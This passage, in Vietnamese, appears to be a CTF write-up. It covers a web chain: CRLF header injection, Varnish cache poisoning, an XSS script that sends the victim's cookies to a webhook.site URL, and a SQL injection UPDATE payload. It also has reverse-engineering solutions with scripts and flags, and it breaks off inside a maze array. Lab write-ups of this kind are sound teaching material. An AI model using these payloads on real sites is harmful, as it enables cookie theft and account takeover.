<p>Ở đây mode là json thì response trả về là JSON, còn không thì là <code>htmlTemplate</code>. deviceId được reflect lại tại header <code>DeviceId</code> trong response. Cũng chính vì vậy nên có lỗ hổng ở đây theo như <a target="_blank" href="https://github.com/karlseguin/http.zig/issues/25">https://github.com/karlseguin/http.zig/issues/25</a></p>
<p><img src="https://hackmd.io/_uploads/BJMOdSlE0.png" alt="image" /></p>
<p>POC:</p>
<p>CRLF vào deviceId rồi chèn thêm header <code>Content-Type: text/html</code> để render HTML</p>
<p>Payload: <code>/oracle/%3Cscript%3Ealert(0)%3C%2Fscript%3E/1%0D%0AContent-Type%3A%20text%2Fhtml</code></p>
<p><img src="https://hackmd.io/_uploads/ByqBbFeEC.png" alt="image" /></p>
<h4 id="heading-varnish-cache">Varnish Cache</h4>
<p><code>/config/cache.vcl</code>:</p>
<ul>
<li>Có 2 config cho port 3000 là của flask app và 4000 là của zig oracle:</li>
</ul>
<pre><code class="lang-javascript">backend default1 {
    .host = <span class="hljs-string">"127.0.0.1"</span>;
    .port = <span class="hljs-string">"3000"</span>;
}

backend default2 {
    .host = <span class="hljs-string">"127.0.0.1"</span>;
    .port = <span class="hljs-string">"4000"</span>;
}
</code></pre>
<p>Được sử dụng dựa theo path:</p>
<pre><code class="lang-javascript">sub vcl_recv {
    <span class="hljs-keyword">if</span> (req.url ~ <span class="hljs-string">"^/controller/home"</span>){
        set req.backend_hint = default1;
        <span class="hljs-keyword">if</span> (req.http.Cookie) {
            <span class="hljs-keyword">return</span> (hash);
        }
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (req.url ~ <span class="hljs-string">"^/controller"</span>) {
        set req.backend_hint = default1;        
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (req.url ~ <span class="hljs-string">"^/oracle"</span>) {
        set req.backend_hint = default2;
    } <span class="hljs-keyword">else</span> {
        set req.http.Location = <span class="hljs-string">"/controller"</span>;
        <span class="hljs-keyword">return</span> (synth(<span class="hljs-number">301</span>, <span class="hljs-string">"Moved"</span>));
    }
}
</code></pre>
<ul>
<li><code>vcl_backend_response</code> dùng để đưa response đến client, với header CacheKey được sử dụng có giá trị là <code>enable</code> thì response sẽ được lưu vào cache trong 10s:</li>
</ul>
<pre><code class="lang-javascript">sub vcl_backend_response {
    <span class="hljs-keyword">if</span> (beresp.http.CacheKey == <span class="hljs-string">"enable"</span>) {
        set beresp.ttl = <span class="hljs-number">10</span>s;
        set beresp.http.Cache-Control = <span class="hljs-string">"public, max-age=10"</span>;
    } <span class="hljs-keyword">else</span> {
        set beresp.ttl = <span class="hljs-number">0</span>s;
        set beresp.http.Cache-Control = <span class="hljs-string">"public, max-age=0"</span>;
    }
}
</code></pre>
<ul>
<li><p><code>vcl_hash</code> sử dụng header CacheKey để tạo ra hash =&gt; xác định request cần lấy ra trong cache:</p>
<pre><code class="lang-javascript">  sub vcl_hash {
      hash_data(req.http.CacheKey);
      <span class="hljs-keyword">return</span> (lookup);
  }
</code></pre>
</li>
</ul>
<p>Vì vậy, như đã đề cập CRLF ở trên ta có thể inject thêm header CacheKey để thực hiện poisoning tấn công XSS.</p>
<p>Request poisoning với payload: <code>%3Cscript%3Ealert(1)%3C%2Fscript%3E/1%0D%0ACacheKey%3A%20enable%0D%0AContent-Type%3A%20text%2Fhtml</code></p>
<p><img src="https://hackmd.io/_uploads/SJwMz9l40.png" alt="image" /></p>
<p>Header <code>X-Cache</code> có giá trị là <code>MISS</code> tức là response đã được ghi vào cache.</p>
<p>Kết quả khi truy cập đến path mà bot sẽ đến:</p>
<p><img src="https://hackmd.io/_uploads/H1qE-5eVR.png" alt="image" /></p>
<p>Khi xem request đó:</p>
<p><img src="https://hackmd.io/_uploads/HyRIMclER.png" alt="image" /></p>
<p>Giá trị header X-Cache trong reponse là HIT nghĩa là response này được lấy từ cache</p>
<h3 id="heading-khai-thac-2">Khai thác</h3>
<p>Quay trở lại bài toán, con bot sleep khoảng 3s sau đó login, 3 giây tiếp theo nó sẽ truy cập vào <code>oracle/json/id</code>, vì vậy ta cần thực hiện request poisoning trong khoảng 3s đó.</p>
<p>Ta dùng đoạn script sau:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> requests, urllib, time
URL = <span class="hljs-string">"http://localhost:1337"</span>

def poisoning():
    xss_payload = urllib.parse.quote(<span class="hljs-string">"&lt;script&gt;fetch('https://webhook.site/4407ecdf-4b85-4fc1-8a7f-a506a424769d?c='+document.cookie)&lt;/script&gt;"</span>, safe=<span class="hljs-string">""</span>)
    crlf_payload = urllib.parse.quote(<span class="hljs-string">"1\r\nCacheKey: enable\r\nContent-Type: text/html"</span>, safe=<span class="hljs-string">""</span>)
    requests.get(url=URL+<span class="hljs-string">"/oracle/"</span> + xss_payload + <span class="hljs-string">"/"</span> +crlf_payload)

<span class="hljs-keyword">while</span> True:
    res = requests.get(url=URL + <span class="hljs-string">"/controller/bot_running"</span>)
    <span class="hljs-keyword">if</span> res.text == <span class="hljs-string">"running"</span>:
        print(<span class="hljs-string">"bot running"</span>)
        time.sleep(<span class="hljs-number">3</span>)
        poisoning()
</code></pre>
<p>Chờ đến khi có JWT gửi về :)</p>
<p><img src="https://hackmd.io/_uploads/ByxJLse4C.png" alt="image" /></p>
<p>Sau đó dùng jwt để thực hiện đọc /app/jwt_secret.txt để lấy key:</p>
<p><img src="https://hackmd.io/_uploads/Bk6o-je40.png" alt="image" /></p>
<p>Dùng key để lên administrator (<a target="_blank" href="https://jwt.io/">jwt.io</a>):</p>
<p><img src="https://hackmd.io/_uploads/SyYdfoxVR.png" alt="image" /></p>
<p>Update signature <code>ppcH8QpznorE7a9QfQxppPKXsEZ9auNrqPttEmVI-pc</code> mới thông qua lỗ hổng SQL Injection tại <code>/controller/device/id</code>.</p>
<p>Encode sang hex để tránh gặp lỗi, payload: <code>1';UPDATE signatures SET signature = 0x707063483851707a6e6f7245376139516651787070504b5873455a3961754e7271507474456d56492d7063 WHERE user_id = 1--</code></p>
<p><img src="https://hackmd.io/_uploads/ByW-Bjg4C.png" alt="image" /></p>
<p>Truy cập vào <code>/controller/admin</code> để lấy flag:</p>
<p><img src="https://hackmd.io/_uploads/rJB1BslVA.png" alt="image" /></p>
<hr />
<h1 id="heading-reverse-engineering">Reverse Engineering</h1>
<h2 id="heading-flag-casino">Flag Casino</h2>
<p><strong><em>credit: 13r_ə_Rɪst</em></strong></p>
<ul>
<li><p>Lại là <code>random</code>@@. Chương trình thực hiện nhận <code>input</code> từng kí tự một và dùng nó làm <code>seed</code> rồi thực hiện so sánh <code>rand()</code> với <code>check[]</code> là mảng có sẵn.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image.png" alt="alt text" /></p>
</li>
<li><p>Ý tưởng để xử lý bài này là vét cạn các giá trị <code>input</code> bởi đầu vào nhận kiểu dữ liệu byte nên việc vét trong khoảng <code>0-0xff</code> hoàn toàn không khó khăn gì.</p>
</li>
<li><p>Nếu có gì cần phải lưu ý thì, chall này là một file <code>ELF</code>, nên ta sẽ phải chạy script trong <code>linux</code> để output của <code>rand()</code> tương đồng với chương trình.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-1.png" alt="alt text" /></p>
</li>
<li><p>Dưới đây là <code>script</code> vét input.</p>
</li>
</ul>
<pre><code class="lang-C"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-comment">// using ll = long long;</span>
<span class="hljs-comment">// using namespace std;</span>
<span class="hljs-keyword">long</span> <span class="hljs-keyword">long</span> check[] = {<span class="hljs-number">0x244B28BE</span>, <span class="hljs-number">0x0AF77805</span>, <span class="hljs-number">0x110DFC17</span>, <span class="hljs-number">0x7AFC3A1</span>, <span class="hljs-number">0x6AFEC533</span>, <span class="hljs-number">0x4ED659A2</span>, <span class="hljs-number">0x33C5D4B0</span>,
                   <span class="hljs-number">0x286582B8</span>, <span class="hljs-number">0x43383720</span>, <span class="hljs-number">0x55A14FC</span>, <span class="hljs-number">0x19195F9F</span>, <span class="hljs-number">0x43383720</span>, <span class="hljs-number">0x63149380</span>, <span class="hljs-number">0x615AB299</span>,
                   <span class="hljs-number">0x6AFEC533</span>, <span class="hljs-number">0x6C6FCFB8</span>, <span class="hljs-number">0x43383720</span>, <span class="hljs-number">0x0F3DA237</span>, <span class="hljs-number">0x6AFEC533</span>, <span class="hljs-number">0x615AB299</span>, <span class="hljs-number">0x286582B8</span>,
                   <span class="hljs-number">0x55A14FC</span>, <span class="hljs-number">0x3AE44994</span>, <span class="hljs-number">0x6D7DFE9</span>, <span class="hljs-number">0x4ED659A2</span>, <span class="hljs-number">0x0CCD4ACD</span>, <span class="hljs-number">0x57D8ED64</span>, <span class="hljs-number">0x615AB299</span>, <span class="hljs-number">0x22E9BC2A</span>};

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt;= <span class="hljs-number">28</span>; ++j)
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">0xff</span>; ++i)
        {
            srand(i);
            <span class="hljs-keyword">if</span> (rand() == check[j])
            {
                <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%c"</span>, i);
                <span class="hljs-keyword">break</span>;
            }
        }
}
</code></pre>
<p><img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-2.png" alt="alt text" /></p>
<pre><code class="lang-javascript">flag: HTB{r4nd_1s_v3ry_pr3d1ct4bl3}
</code></pre>
<h2 id="heading-dont-panic">Don't Panic</h2>
<p><strong><em>credit: 13r_ə_Rɪst</em></strong></p>
<ul>
<li><p>Chall: <a target="_blank" href="rev_dontpanic/rev_dontpanic/dontpanic">casino</a>.</p>
</li>
<li><p>Một chall rust tag easy, không có gì khó khăn bởi thậm chí hàm checkflag còn được chỉ ra khá rõ ràng.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-3.png" alt="alt text" /></p>
</li>
<li><p>Thực hiện debug động và nhặt ra từng phần tử của flag một sau các hàm <code>gen</code>.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-4.png" alt="alt text" /></p>
</li>
</ul>
<pre><code class="lang-javascript">flag: HTB{d0nt_p4n1c_c4tch_the_3rror}
</code></pre>
<h2 id="heading-snaped-shut">Snaped Shut</h2>
<p><strong><em>credit: 13r_ə_Rɪst</em></strong></p>
<ul>
<li><p>Chall: <a target="_blank" href="rev_snappedshut/rev_snappedshut/index.js">index.js</a>, <a target="_blank" href="rev_snappedshut/rev_snappedshut/package.json">package.json</a>, <a target="_blank" href="rev_snappedshut/rev_snappedshut/snapshot.blob">snapshot.blob</a>.</p>
</li>
<li><p>Chall này hơi khó hiểu. 2 file <code>js</code> và <code>json</code> tưởng rằng là thứ cần xem xét kĩ hơn thì lại không có thông tin gì. Flag lại nằm trong file còn lại, thậm chí đọc strings để lấy flag.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-5.png" alt="alt text" /></p>
</li>
</ul>
<pre><code class="lang-python">ans = [<span class="hljs-number">72</span>, <span class="hljs-number">84</span>, <span class="hljs-number">66</span>, <span class="hljs-number">123</span>, <span class="hljs-number">98</span>, <span class="hljs-number">52</span>, <span class="hljs-number">99</span>, <span class="hljs-number">107</span>, <span class="hljs-number">100</span>, <span class="hljs-number">48</span>, <span class="hljs-number">48</span>, <span class="hljs-number">114</span>, <span class="hljs-number">95</span>, <span class="hljs-number">49</span>, <span class="hljs-number">110</span>, <span class="hljs-number">95</span>,
       <span class="hljs-number">121</span>, <span class="hljs-number">48</span>, <span class="hljs-number">117</span>, <span class="hljs-number">114</span>, <span class="hljs-number">95</span>, <span class="hljs-number">115</span>, <span class="hljs-number">110</span>, <span class="hljs-number">52</span>, <span class="hljs-number">112</span>, <span class="hljs-number">115</span>, <span class="hljs-number">104</span>, <span class="hljs-number">48</span>, <span class="hljs-number">55</span>, <span class="hljs-number">33</span>, <span class="hljs-number">33</span>, <span class="hljs-number">125</span>]
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> ans:
    print(chr(i), end=<span class="hljs-string">""</span>)
</code></pre>
<pre><code class="lang-javascript">flag: HTB{b4ckd00r_1n_y0ur_sn4psh07!!}
</code></pre>
<h2 id="heading-tunnel-madness">Tunnel Madness</h2>
<p><strong><em>credit: 13r_ə_Rɪst</em></strong></p>
<ul>
<li><p>Chall: <a target="_blank" href="rev_tunnelmadness/rev_tunnelmadness/tunnel">tunnel</a></p>
</li>
<li><p>Lần thứ 2 mình gặp dạng bài tìm đường đi trong ma trận sau bài <a target="_blank" href="https://github.com/SonVH2511/CTFs/blob/main/wolvCTF/writeups.md#rev_maize">maize</a> của giải wolvctf. Tuy nhiên bài này dễ hơn nhiều khi map là ma trận 3 chiều được biểu thị khá rõ ràng.</p>
</li>
<li><p>Sơ bộ về chương trình, ta cần nhập các truy vấn tương ứng với các hướng di chuyển là <code>L/R/F/B/U/D/Q</code>. Chương trình thực hiện tính toán và di chuyển trên map và check vị trí cần đến, nếu đúng thì trả ra flag. Chall này cần connect sever và nhập truy vấn nhằm lấy flag, nên không có gì để xem xét trong hàm <code>get_flag()</code>.</p>
</li>
</ul>
<p><img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-6.png" alt="alt text" /></p>
<ul>
<li><p>Đi vào phân tích hàm <code>move()</code>. Từ những kí tự viết tắt, ta dễ dàng suy luận được ra đây là một map 3 chiều khi có thêm các hướng đi trong không gian(Front/Back).</p>
</li>
<li><p>Dưới đây là toàn bộ hàm <code>move()</code>.</p>
</li>
</ul>
<pre><code class="lang-C"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall <span class="hljs-title">move</span><span class="hljs-params">(_DWORD *Curr_pos)</span>
</span>{
  <span class="hljs-keyword">int</span> result; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> y; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> y_; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v4; <span class="hljs-comment">// eax</span>
  <span class="hljs-keyword">int</span> v5; <span class="hljs-comment">// eax</span>
  __int64 x; <span class="hljs-comment">// [rsp+0h] [rbp-18h] BYREF</span>
  <span class="hljs-keyword">int</span> z; <span class="hljs-comment">// [rsp+8h] [rbp-10h]</span>
  <span class="hljs-keyword">char</span> v8[<span class="hljs-number">9</span>]; <span class="hljs-comment">// [rsp+Fh] [rbp-9h] BYREF</span>

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Direction (L/R/F/B/U/D/Q)? "</span>);
  <span class="hljs-keyword">if</span> ( (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)__isoc99_scanf(<span class="hljs-string">" %c"</span>, v8) != <span class="hljs-number">1</span> )
    <span class="hljs-built_in">exit</span>(<span class="hljs-number">-1</span>);
  v8[<span class="hljs-number">0</span>] = (*__ctype_toupper_loc())[v8[<span class="hljs-number">0</span>]];
  x = *(_QWORD *)Curr_pos;
  z = Curr_pos[<span class="hljs-number">2</span>];
  result = (<span class="hljs-keyword">unsigned</span> __int8)(v8[<span class="hljs-number">0</span>] - <span class="hljs-number">66</span>);
  <span class="hljs-keyword">switch</span> ( v8[<span class="hljs-number">0</span>] )
  {
    <span class="hljs-keyword">case</span> <span class="hljs-string">'B'</span>:
      y = Curr_pos[<span class="hljs-number">1</span>];
      <span class="hljs-keyword">if</span> ( !y )
        <span class="hljs-keyword">goto</span> LABEL_32;
      HIDWORD(x) = y - <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> ( *((_DWORD *)checkPos((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)&amp;x) + <span class="hljs-number">3</span>) == <span class="hljs-number">2</span> )
        <span class="hljs-keyword">goto</span> LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[<span class="hljs-number">2</span>] = z;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'D'</span>:
      v4 = Curr_pos[<span class="hljs-number">2</span>];
      <span class="hljs-keyword">if</span> ( !v4 )
        <span class="hljs-keyword">goto</span> LABEL_32;
      z = v4 - <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> ( *((_DWORD *)checkPos((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)&amp;x) + <span class="hljs-number">3</span>) == <span class="hljs-number">2</span> )
        <span class="hljs-keyword">goto</span> LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[<span class="hljs-number">2</span>] = z;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'F'</span>:
      y_ = Curr_pos[<span class="hljs-number">1</span>];
      <span class="hljs-keyword">if</span> ( y_ == <span class="hljs-number">19</span> )
        <span class="hljs-keyword">goto</span> LABEL_32;
      HIDWORD(x) = y_ + <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> ( *((_DWORD *)checkPos((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)&amp;x) + <span class="hljs-number">3</span>) == <span class="hljs-number">2</span> )
        <span class="hljs-keyword">goto</span> LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[<span class="hljs-number">2</span>] = z;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'L'</span>:
      <span class="hljs-keyword">if</span> ( !*Curr_pos )
        <span class="hljs-keyword">goto</span> LABEL_32;
      LODWORD(x) = *Curr_pos - <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> ( *((_DWORD *)checkPos((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)&amp;x) + <span class="hljs-number">3</span>) == <span class="hljs-number">2</span> )
        <span class="hljs-keyword">goto</span> LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[<span class="hljs-number">2</span>] = z;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'Q'</span>:
      <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Goodbye!"</span>);
      <span class="hljs-built_in">exit</span>(<span class="hljs-number">-2</span>);
    <span class="hljs-keyword">case</span> <span class="hljs-string">'R'</span>:
      <span class="hljs-keyword">if</span> ( *Curr_pos == <span class="hljs-number">19</span> )
        <span class="hljs-keyword">goto</span> LABEL_32;
      LODWORD(x) = *Curr_pos + <span class="hljs-number">1</span>;
      <span class="hljs-keyword">if</span> ( *((_DWORD *)checkPos((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)&amp;x) + <span class="hljs-number">3</span>) == <span class="hljs-number">2</span> )
        <span class="hljs-keyword">goto</span> LABEL_33;
      *(_QWORD *)Curr_pos = x;
      result = z;
      Curr_pos[<span class="hljs-number">2</span>] = z;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'U'</span>:
      v5 = Curr_pos[<span class="hljs-number">2</span>];
      <span class="hljs-keyword">if</span> ( v5 == <span class="hljs-number">19</span> )
      {
LABEL_32:
        result = <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Cannot move that way"</span>);
      }
      <span class="hljs-keyword">else</span>
      {
        z = v5 + <span class="hljs-number">1</span>;
        <span class="hljs-keyword">if</span> ( *((_DWORD *)checkPos((<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> *)&amp;x) + <span class="hljs-number">3</span>) == <span class="hljs-number">2</span> )
        {
LABEL_33:
          result = <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Cannot move that way"</span>);
        }
        <span class="hljs-keyword">else</span>
        {
          *(_QWORD *)Curr_pos = x;
          result = z;
          Curr_pos[<span class="hljs-number">2</span>] = z;
        }
      }
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">default</span>:
      <span class="hljs-keyword">return</span> result;
  }
  <span class="hljs-keyword">return</span> result;
}
</code></pre>
<ul>
<li>Xem xét một chút, ta có thể thấy giá trị trong map tương ứng với <code>tường/chướngngạivật</code> là <code>2</code> khi giá trị tại vị trí di chuyển tới tương đương thì sẽ phải nhảy tới thông báo <code>"Cannot move that way"</code>. Điều tương tự với số <code>19</code>.</li>
</ul>
<p><img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-7.png" alt="alt text" /></p>
<ul>
<li><p>Quay ra xem hàm <code>checkPos()</code>. Hàm này thực hiện tính vị trí hiện tại với tọa độ hiện tại <code>pos[3]</code> ~ <code>(x,y,z)</code></p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-8.png" alt="alt text" /></p>
</li>
<li><p>Tiếp tới <code>map</code>, ta thấy được rằng vị trí cần đến có giá trị là <code>3</code>. Tuy nhiên, khi đọc sơ qua giá trị của <code>maze</code>, ta lại thấy có khá nhiều tọa độ có giá trị <code>3</code>.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-9.png" alt="alt text" /></p>
</li>
<li><p>Nhưng khi duyệt cả mảng maze để lọc ra vị trí được tính theo công thức + 12 == 3 thì chỉ có 1. Là vị trí cuối cùng trong ma trận này, cũng được tính với công thức <code>maze[6400*19 + 320*19 + 16*19 + 12 = 127996]</code>.</p>
<p>  <img src="https://github.com/SonVH2511/CTFs/raw/main/CTF_HTBusiness2024/_IMG/image-10.png" alt="alt text" /></p>
</li>
<li><p>script <code>python ida</code> để đọc maze từ <code>ida</code>.</p>
</li>
</ul>
<pre><code class="lang-python"><span class="hljs-comment"># print(e-s)</span>

<span class="hljs-keyword">import</span> idaapi
<span class="hljs-keyword">import</span> idc
<span class="hljs-keyword">import</span> ida_bytes

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_memory</span>(<span class="hljs-params">address, length</span>):</span>
    data = ida_bytes.get_bytes(address, length)
    <span class="hljs-keyword">if</span> data <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
        print(<span class="hljs-string">f"Failed to read data from address 0x<span class="hljs-subst">{address:<span class="hljs-number">08</span>X}</span>"</span>)
    <span class="hljs-keyword">return</span> data

s = <span class="hljs-number">0x00000000000020E0</span>
e = <span class="hljs-number">0x00000000000214DF</span>

print(read_memory(s, e-s+<span class="hljs-number">1</span>))
</code></pre>
<ul>
<li>Tới đây mình đi tìm hiểu hàm trong chương trình 1 lúc để quan sát giá trị được tăng thêm khi di chuyển và có kết luận tương ứng rằng:</li>
</ul>
<pre><code class="lang-javascript">pos[<span class="hljs-number">0</span>] = <span class="hljs-string">'R'</span>,<span class="hljs-string">'L'</span> = +<span class="hljs-number">6400</span>,<span class="hljs-number">-6400</span>
pos[<span class="hljs-number">1</span>] = <span class="hljs-string">'F'</span>,<span class="hljs-string">'B'</span> = +<span class="hljs-number">320</span>,<span class="hljs-number">-320</span>
pos[<span class="hljs-number">2</span>] = <span class="hljs-string">'U'</span>,<span class="hljs-string">'D'</span> = +<span class="hljs-number">16</span>,<span class="hljs-number">-16</span>
</code></pre>
<ul>
<li><p>Vị trí được tính theo tổng các bộ giá trị {6400, 320, 16} nhân với tọa độ tương ứng. Vậy mỗi khi di chuyển ta có thể tính ra vị trí của chúng bằng cách cộng thêm giá trị tương ứng với truy vấn đã nhập vào tổng giá trị cho đến khi bằng <code>127996-12</code>.</p>
</li>
<li><p>Tóm lại, chương trình thực hiện di chuyển từ vị trí <code>maze[0]</code> đến <code>maze[127996-12]</code> với chướng ngại có giá trị là <code>2</code> và <code>19</code>. Các cách di chuyển là <code>[Right,Left,Front,Back,Up,Down]</code> tương ứng với các giá trị <code>[6400,320,16,-6400,-320,-16]</code>.</p>
</li>
<li><p>Thực hiện duyệt và lưu lại đường đi chuẩn bằng <code>dfs</code> như dưới đây.</p>
</li>
</ul>
<pre><code class="lang-python">maze=[<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">4</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">5</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">6</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">7</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">8</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">9</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">10</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">2</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span 